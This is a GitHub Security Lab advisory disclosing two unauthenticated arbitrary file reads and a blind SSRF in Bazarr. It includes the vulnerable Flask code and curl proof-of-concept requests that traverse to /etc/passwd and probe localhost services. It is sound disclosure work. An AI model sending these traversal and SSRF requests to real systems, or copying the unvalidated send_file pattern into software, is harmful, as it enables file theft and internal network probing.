Coordinated Disclosure Timeline
- 2023-09-18: Sent report to the maintainer.
- 2023-09-18: Received a reply with fixes for the two Arbitrary File Read issues and a question about the Blind SSRF one.
- 2023-09-19: Answered with a few possible fixes for the SSRF issue and asked to create an advisory.
- 2023-09-29: Received a response, with a partial fix to the SSRF, which limits the vulnerability to HTTP/HTTPS protocols.
- 2023-12-11: Sent a reminder about creating advisories and assigning CVEs.
- 2023-12-13: Received a response from the maintainer that they don’t find it necessary to publish CVEs for these vulnerabilities. GitHub Security Lab finds it valuable to publish CVEs for the issues to provide transparency and inform the users about the vulnerabilities. The Security Lab requested CVEs for the issues.
Summary
Bazarr is vulnerable to unauthenticated arbitrary file reads in two endpoints and a blind server-side request forgery (SSRF).
Project
bazarr
Tested Version
Details
Issue 1: Arbitrary file read in /system/backup/download/
endpoint (GHSL-2023-192
)
The /system/backup/download/
endpoint in bazarr/app/ui.py
does not validate the user-controlled filename
variable and uses it in the send_file
function, which leads to an arbitrary file read on the system.
backup_download
method in bazarr/app/ui.py
@check_login
@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])
def backup_download(filename):
return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)
This issue was found with the CodeQL query Uncontrolled data used in path expression.
Impact
This issue may lead to unauthenticated arbitrary file read
.
PoC
- Start Bazarr. We assume that it is running on http://127.0.0.1:6767.
- Send the following request.
curl -X GET 'http://127.0.0.1:6767/system/backup/download/../../../../../../../etc/passwd' --path-as-is
- Observe that
/etc/passwd
is displayed in the response.
Issue 2: Arbitrary file read in /api/swaggerui/static
endpoint (GHSL-2023-193
)
The /api/swaggerui/static
endpoint in bazarr/app/ui.py
does not validate the user-controlled filename
variable and uses it in the send_file
function, which leads to an arbitrary file read on the system.
swaggerui_static
method in bazarr/app/ui.py
@ui_bp.route('/api/swaggerui/static/<path:filename>', methods=['GET'])
def swaggerui_static(filename):
return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',
'static', filename))
This issue was found with the CodeQL query Uncontrolled data used in path expression.
Impact
This issue may lead to arbitrary file read
.
PoC
1.. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.
- Send the following request.
curl -X GET 'http://127.0.0.1:6767/api/swaggerui/static/../../../../../../../etc/passwd' --path-as-is
- Observe that
/etc/passwd
is displayed in the response.
Issue 3: Blind Server-Side Request Forgery (SSRF) in the /test/<protocol>/
endpoint (GHSL-2023-194
)
The proxy
method in bazarr/bazarr/app/ui.py
does not validate the user-controlled protocol
and url
variables and passes them to requests.get()
without any sanitization, which leads to a server-side request forgery. Since the contents of the response to the GET request are not visible to the one making the request (the contents are visible only if there’s a JSON in the response with a “version” key value pair, see lines 168-171), this is a blind server-side request forgery.
proxy
method
def proxy(protocol, url):
url = protocol + '://' + unquote(url)
params = request.args
try:
result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)
except Exception as e:
return dict(status=False, error=repr(e))
else:
if result.status_code == 200:
try:
version = result.json()['version']
return dict(status=True, version=version)
except Exception:
return dict(status=False, error='Error Occurred. Check your settings.')
elif result.status_code == 401:
return dict(status=False, error='Access Denied. Check API key.')
elif result.status_code == 404:
return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')
elif 300 <= result.status_code <= 399:
return dict(status=False, error='Wrong URL Base.')
else:
return dict(status=False, error=result.raise_for_status())
This issue was found with the CodeQL query Full server-side request forgery.
Impact
This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for determining whether certain resources on the internal network exist or not, even though these resources may not be accessible on the internet.
Proof of Concept
- Start a simple python web server in a folder containing a example file called file.txt with python -m http.server 9000 This command will serve the file.txt file on http://127.0.0.1:9000
- Start Bazarr. We assume that it is running on http://127.0.0.1:6767.
- Send the following request.
curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/file.txt'
- If the file exists, the response will be:
{ "error": "Error Occurred. Check your settings.", "status": false }
You can also test if a file doesn’t exist by sending a request for a resource that doesn’t exist, like
foo.txt
, for example:curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/foo.txt'
If the file doesn’t exist, the response will be:
{ "error": "Cannot get version. Maybe unsupported legacy API call?", "status": false }
Resources
CVE
- GHSL-2023-192 has CVE-2023-50264
- GHSL-2023-193 has CVE-2023-50265
- GHSL-2023-194 has CVE-2023-50266
Credit
These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-192
, GHSL-2023-193
, or GHSL-2023-194
in any communication regarding these issues.